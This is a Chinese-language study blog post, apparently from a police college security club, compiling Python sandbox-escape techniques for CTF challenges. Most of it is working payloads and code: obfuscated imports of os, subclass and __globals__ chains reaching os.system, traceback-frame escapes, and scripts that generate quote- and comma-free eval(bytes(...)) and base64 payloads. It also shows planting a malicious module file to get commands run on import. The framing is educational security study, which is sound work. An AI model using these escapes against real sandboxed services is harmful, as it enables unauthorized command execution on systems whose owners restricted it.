皮蛋厂的学习日记 | 2023.3.21 l1_Tuer python的沙箱逃逸
2023-3-21 20:36:23 Author: 山警网络空间安全实验室(查看原文) 阅读量:6 收藏

文章首发于先知社区

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~

  • 前言

  • 命令执行

    • import过滤bypass

    • 字符串过滤bypass

    • 恢复` sys.modules`

    • 执行函数bypass

    • builtins、`__builtin__`与`__builtins__`

    • 通过继承关系逃逸

  • 文件读写

  • 字符的过滤、

    • 1,[]

    • 2,引号

    • 3,数字

    • 4,空格

    • 5,运算符

    • 6,()

  • 沙箱通解---进阶技巧的学习

  • 参考:

前言

就上次学习mako留下来的疑问,py的沙箱逃逸的学习,这篇记录一下python沙箱逃逸的学习吸收一下Tr0y佬的博客加上一些自己的理解,我的理解的python的沙箱逃逸说白了就是花式过滤绕过,吸收一些大佬的总结,积累一些ctf赛题中的新颖的逃逸方法,这块大概就可以吃透了

命令执行

import过滤bypass

最无脑的过滤就是import os

import  os
import   os
import    os
。。。。

过滤了多个空格后,我们知道py中可不止一个import可以引用的

还有一下的方法

__import__:__import__('os')
importlib:importlib.import_module('os').system('ls')

或者根据import的原理:执行导入 库.py中的代码

可以用 execfile 来代替,不过这个方法是python2中特有的

execfile('/usr/lib/python2.7/os.py')#引用库的路径
system('ls')

python3和2通用的方法

with open('/usr/lib/python3.6/os.py','r') as f:
    exec(f.read())

system('ls')

对于这个库的路径,绝大多数情况下都是存在于默认路劲下的,最好还是再确认一下

import sys
print(sys.path)

如果sys被搬了就寄了

字符串过滤bypass

代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os:

__import__('so'[::-1]).system('ls')

或者

b = 'o'
a = 's'
__import__(a+b).system('ls')

利用eval或者exec,结合字符串倒序

eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

字符串的处理我们在flask中也说到了,那些逆序、拼接、base64、hex、rot13...等等,

['__builtins__'
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'
['X19idWlsdGluc19f'.decode('base64')] 
['__buil'+'tins__'
['__buil''tins__'
['__buil'.__add__('tins__')] 
["_builtins_".join("__")] 
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]#最后这个第一次见,如果没有变态到过滤字母和数字就无敌的了
...

恢复 sys.modules

sys.modules是一个字典,它里面储存了加载过的模板信息。当python刚启动时,所列出的模板就是解释器在启动的时候自动加载的模板。像os模块就是默认加载进来的,所以sys.modules就会储存os模板的信息。当我们不能直接引用os模块的时候我们就可以像这样sys.modules["os"]曲线救国。

但是如果将 os sys.modules 中代替,os 就彻底没法用了:

>>> sys.modules['os'] = 'not allowed'
>>> import os
>>> os.system('ls')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'
>>>

但是就防范而言,这里绝对不能是删除sys.modules["os"]

当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。

所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os。

所以说绕过方法就是

sys.modules['os'] = 'not allowed' # oj 为你加的

del sys.modules['os']
import os
os.system('ls')

执行函数bypass

单单引入os模块是不行的,我们还要考虑os里面的system被ban了,我们也不能通过os.system来执行命令,更狠的就是删除了system这个函数,我们可以寻找其他进行命令执行的函数

像popen

print(os.popen('whoami').read()) 
print(os.popen2('whoami').read()) # py2
print(os.popen3('whoami').read()) # py2
.。。。。。

其次,可以通过 getattr 拿到对象的方法、属性:

import os
getattr(os, 'metsys'[::-1])('whoami')

不让出现 import 也没事:

getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

一样可以。这个方法同样可以用于逃逸过滤 import 的沙箱。关于 __builtins__,见下文。

getattr 相似的还有 __getattr____getattribute__,它们自己的区别就是getattr相当于class.attr,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__,如果__getattribute__找不到,则触发__getattr__,还找不到则报错。

builtins、__builtin____builtins__

python中有的函数不需要import就可以使用,这就是python的内建模块,它有一些常用函数,变量,以及类。

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看:

py2

 import __builtin__
 __builtin__
#<module '__builtin__' (built-in)>

py3

import builtins
builtins
#<module 'builtins' (built-in)>

__builtins__是两者都有的,不需要导入 ,__builtins__实际上是前两者的引用,或者说是结合,不过还是有区别的

__builtins__ 相对实用一点,并且在 __builtins__里有很多好东西:

>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
macr0phag3
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True

x.__dict__ :它是 x 内部所有属性名和属性值组成的字典,有以下特点:

  1. 内置的数据类型没有 __dict__ 属性
  2. 每个类有自己的 __dict__ 属性,就算存着继承关系,父类的 __dict__ 并不会影响子类的 __dict__
  3. 对象也有自己的 __dict__ 属性,包含 self.xxx 这种实例属性

当赛题中__builtins__的危险函数,被代替或者删除

__builtins__.__dict__['eval'] = 'not allowed'
del __builtins__.__dict__['eval']

我们可以利用reload(__builtins__)进行恢复,但是reload也是在__builtins__

reload被删除了就可以用另一种方法,还有一种情况是利用 exec command in _global 动态运行语句时的绕过,比如实现一个计算器的时候,在最后有给出例子。

这里注意,2.x 的 reload 是内建的,3.x 需要 import imp,然后再 imp.reload。你看,reload 的参数是 module,所以肯定还能用于重新载入其他模块,这个放在下面说。

通过继承关系逃逸

具体可以参考jiajn2的ssti,具体思路是大相径庭的,也是通过一系列的子类继承,找到我们想要的子类,进行命令执行,甚至绕过方法都可以参考jiajn2的ssti

这里也只是记录一些之前没有提到过的

思路:

我们可以找到一些某个库中包含的os这个模板,我们就不用直接对os进行使用,列入site这个库里面就有os

import site
>>> site.os
#<module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'>

那么也就是说,能引入 site 的话,就相当于有 os。那如果 site 也被禁用了呢?没事,本来也就没打算直接 import site。可以利用 reload,变相加载 os

>>> import site
>>> os
Traceback (most recent call last):
  File "<stdin>", line 1in <module>
NameError: name 'os' is not defined
>>> os = reload(site.os)
>>> os.system('whoami')
macr0phag3

还有,既然所有的类都继承的object,那么我们先用__subclasses__看看它的子类,以 2.x 为例:

>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
一大堆子类

可以看到,site 就在里面,以 2.x 的site._Printer为例(py3.x 中已经移除了这里 __globals__os):

>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']
<module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>

>>> # 为了避免 index 位置问题,可以这样写:
>>> [i._Printer__setup.__globals__['os'for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_Printer"]
<module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>

PROLOG

os 又回来了。并且 site 中还有 __builtins__

这个方法不仅限于 A->os,还阔以是 A->B->os,比如 2.x 中的 warnings

>>> import warnings
>>> 
>>> warnings.os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'os'
>>> 
>>> warnings.linecache
<module 'linecache' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/linecache.pyc'>
>>>
>>> warnings.linecache.os
<module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>

在继承链中就可以这样(py3.x 中已经移除了这里 __globals__linecache):

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
macr0phag3
0
>>> # 为了避免 index 位置问题,可以这样写:
>>> [i.__init__.__globals__['linecache'].__dict__['os'].system('whoami'for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "catch_warnings"]
ps:这种构造方法值得学,这样就不用跑脚本确认子类位置了

所以通过_module也可以构造 payload(py3.x 中已经移除了 catch_warningslinecache):

>>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')

3.x 中的warnings虽然没有 linecache,也有__builtins__

__call__方法:

具体来说是利用builtin_function_or_method__call__

"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval'1+1')

利用异常逃逸

hack = lambda : [0][1]
try:
    hack()
except Exception as e:
    e.__traceback__.tb_next.tb_frame.f_globals['__builtins__']['__import__']('os').system('whoami')

利用format

"{0.__class__.__base__}".format([])
"{x.__class__.__base__}".format(x=[])
"{.__class__.__base__}".format([])
("{0.__class_"+"_.__base__}").format([])

注意:对于字典键是整数型的比如 {"1":2},format 是无法拿到值的,这样会报错:''' {0['1']} '''.format({"1":2})'1' 引号去掉的话又会报没有这个键。

文件读写

在python2中有一个内建file

>>> file('key').read()
'Macr0phag3\n'
>>> file('key''w').write('Macr0phag3')
>>> file('key').read()
'Macr0phag3'

还有一一个open,py2,3通用

还有一些库,例如:types.FileType(rw)、platform.popen(rw)、linecache.getlines(r)。

如果我们可以读写一些网站存在py的文件,然后在import,就可以进行执行

假设有一个叫math.py的文件,我们将内容写入就成了

import os

print(os.system('whoami'))

调用之后可以使用

>>> import math
ikun

这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules中有的,这些库无法这样利用,会直接从sys.modules中加入,比如re

>>> 're' in sys.modules
True
>>> 'math' in sys.modules
False
>>>

当然在import re 之前del sys.modules['re']也不是不可以..

最后,这里的文件命名需要注意的地方和最开始的那个遍历测试的文件一样:由于待测试的库中有个叫 test的,如果把遍历测试的文件也命名为 test,会导致那个文件运行 2 次,因为自己 import 了自己。

读文件暂时没什么发现特别的地方。

剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:

>>> __builtins__.open('key').read()
'Macr0phag3\n'

>>> ().__class__.__base__.__subclasses__()[40]('key').read()
'Macr0phag3'

字符的过滤、

1,[]

和ssti通用

2,引号

1,chr ssti说过了

2,str[]结合

().__class__.__new__
#<built-in method __new__ of type object at 0x00007FFD8EFA8AB0>

str() 函数将对象转化为适于人阅读的形式

所以

 str(().__class__.__new__)[21]
 #w
 os.system(
    str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
)
#os.system(whoiam)

3,dict() 拿键

list(dict(whoami=1))[0] 
str(dict(whoami=1))[2:8] 
'whoami'

3,数字

上面提到了字符串过滤绕过,顺便说一下,如果是过滤了数字(虽然这种情况很少见),那绕过的方式就更多了,我这里随便列下:

1. 0:`int(bool([]))`、`Flase`、`len([])`、`any(())`
2. 1:`int(bool([""]))`、`True`、`all(())`、`int(list(list(dict(a၁=())).pop()).pop())`
3. 获取稍微大的数字:`len(str({}.keys))`,不过需要慢慢找长度符合的字符串
4. 1.0:`float(True)`
5. -1:`~0`
6. ...

其实有了 0 就可以了,要啥整数直接做运算即可:

0 ** 0 == 1
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4
...

4,空格

通过 ()[] 替换

5,运算符

== 可以用 in 来替换

or 可以用|  +  -。。。-来替换

例如

for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
    ans = i[0]==i[1] or i[2]==i[3]
    print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
    print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
    print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)

and 可以用&  *替代

例如

for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
    ans = i[0]==i[1] and i[2]==i[3]
    print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
    print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)

6,()

  • 利用装饰器 @
  • 利用魔术方法,例如 enum.EnumMeta.__getitem__

沙箱通解---进阶技巧的学习

学习完了Tr0y师傅的py沙箱逃逸,又看了师傅的《Python 沙箱逃逸的通解探索之路》,感觉茅塞顿开,迫不及待来记录一下,不得不说看大佬的博客学到了太多太多东西了,下面我就跟着大佬的思路走走一遍,同时加上自己的理解

开始探索

探索1

我们先从一段例题开始

题目大意如下
all(
   black_char not in CMD
   for blackl_char in (
     list("'\".,+") + [ "__""exec""str" , "import" ]
   )
)
True
eval(CMD)
#这里构造了一个CMD,python接受这个CMD,在all这个函数里面,对CMD进行检测是否含有 '\".,+这些符号,以及__, exec, str , import这些关键字,若是没有就返回True,返回True才会执行eval(CMD)

这里多插一句,我们不仅仅是要学习某种方法,更要学习的是如何通过某些过滤或者特征想的这个方法的思路。往往这种思路恰恰是关键性的

思路:

  • 从执行上下文看,我们要构造出的 CMD 显然是一个字符串,因为下面会进行 eval。那么这里就有第一个问题:如何构造出任意字符串?。
  • 因为上面的限制条件把 "' 都干掉了,所以直觉上我们会选择用 chr + + 来拼接出字符串,但是 + 也被干掉了。
  • 而由于 , 也被干掉了,所以虽然能调用函数,但是也只能传一个参数。并且 . 也被限制掉了,所以就算可以 __import__ 也没法调用方法

使用bytes()函数

bytes 函数返回一个新的 bytes 对象,该对象是一个 0 <= x < 256 区间内的整数不可变序列。它是 bytearray 的不可变版本。

姑且不对这个函数深挖,我们执行要知道

a=bytes(range(256))
print(a)
>>>
b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./0123456789:;<=>[email protected][\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

a=bytes([0,1,2])
print(a)
>>>
b'\x00\x01\x02'

根据这个原理我们就可以通过bytes([119, 104, 111, 97, 109, 105])这样的序列构造出whoami,但是,上面已经把逗号过滤了,所以就要用到了range(),但是range都是固定序列,并不能定向的得到我们想要的数字,可我们以通过 if 来从列表中捞需要的数据。

bytes([j for i in range(256for j in range(256)
if i==0 and j == 119 or i == 1 and j == 104 or 
i == 2 and j == 111or i == 3 and j == 97 or 
i == 4 and j == 109 or i == 5 and j == 105])

脚本

exp = '__import__("os").system("id")'

print(f"eval(bytes([j for i in range({len(exp)}) for j in range(256) if "+" or ".join([f"i=={i} and j=={ord(j)}" for i, j in enumerate(exp)]) + "]))")

过滤空格 用[]替代

exp = '__import__("os").system("id")'

print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]or[".join([f"i]==[{i}]and[j]==[{ord(j)}" for i, j in enumerate(exp)]) + "]]))")

过滤==用in替代

exp = '__import__("os").system("id")'

print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]or[".join([f"i]==[{i}]and[j]==[{ord(j)}" for i, j in enumerate(exp)]) + "]]))")

探索2

对于上面的解法一,我们对于一些函数可以用unicode编码进行绕过,但是if没有办法使用unicode绕过,这路探索主要是探讨if被ban的情况下

思路:我们可以通过引入os.py的手法,tr0y师傅叫做模拟 import。也就是 exec(open(...).read()),从而引入所需的函数。

使用这个方法,首要目的就是取得绝对路径

__import__("os")
#<module 'os’ from '/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/os.py'>
str(__import__("os"))[19:-2]
#'/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/os.py'

所以实现os.py的引用 open(str(__import__("os"))[19:-2]).read()

但是.被ban了但是open 的返回值是 _io.TextIOWrapper,由于存在 __iter__ 方法,所以我们可以把它当做是一个可迭代对象来迭代。也就是可以通过 list(open(str(__import__("os"))[19:-2])) 取出文件内容,

但是这样的源码无法让exec执行,不过我们可以将字符串进行拆分,变成单个字符,转化成ASCII码。然后用bytes 转为完整的字符串

ord()就是将字符转化成10进制数

exec(bytes([ord(j)for(i)in(list(open(str(__import__(list(dict(os=1))[0]))[19:-2])))for(j)in(i)]))
  • 首先分析一下,payload 必须在执行函数之前运行,所以可以通过 [exec(...)][0][system("whoami")] 来实现,需要注意的是,system 在运行成功的时候才会返回 0,一旦失败,返回的数字比较大,命令虽然已执行成功,但是整个 payload 的执行是会失败的,可能会遇到不必要的麻烦。并且,形如 popen 这种返回字符串的,也不宜这样利用。

更好的方式是用 [str][bool(exec...)](list(popen("whoami")))

[str][bool(exec(bytes([ord(j)for(i)in(list(open(str(__import__(list(dict(os=1))[0]))[19:-2])))for(j)in(i)])))](list(popen(list(dict(whoami=1))[0]))[0])
  • 当然,上面这个 payload,同样存在特殊字符无法构造的问题,执行 whoami 这种单一的命令是 ok 的,如果想要反弹个 shell 就没法搞了。
  • 好在思路有了,只需要换一下库就行。dict 参数要求是合法的变量名,那么我们很容易想到 base64 里的字符大部分都是 0-9a-zA-Z 构成,还有特殊的字符 =/+。后面我们会挨个解决这三个字符的问题
[eval][bool(exec(bytes([ord(j)for(i)in(list(open(str(__import__(list(dict(base64=1))[0]))[23:-2])))[:-5]for(j)in(i)])))](b64decode(list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignaWQnKS5yZWFkKCkg=1))[0]))
#__import__('os').popen('id').read() 

=/+关于这些,我们可以用无关紧要的字符替换,比如在payload后面加空格之类的

'__import__('os').popen('id').read()'
'X19pbXBvcnRfXygnb3MnKS5wb3BlbignaWQnKS5yZWFkKCk='
'__import__('os').popen('id').read() '
'X19pbXBvcnRfXygnb3MnKS5wb3BlbignaWQnKS5yZWFkKCkg'

参考:

Python 沙箱逃逸的经验总结 - Tr0y's Blog

Python 沙箱逃逸的通解探索之路 - Tr0y's Blog


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450785435&idx=1&sn=c6cf03ab3d58391b6f8699c9127e54b5&chksm=b104f5bc86737caa4ae46476ac8469932c92d652e93f76359a2ea7ca9b3fd0ff11f798b388e5#rd
如有侵权请联系:admin#unsafe.sh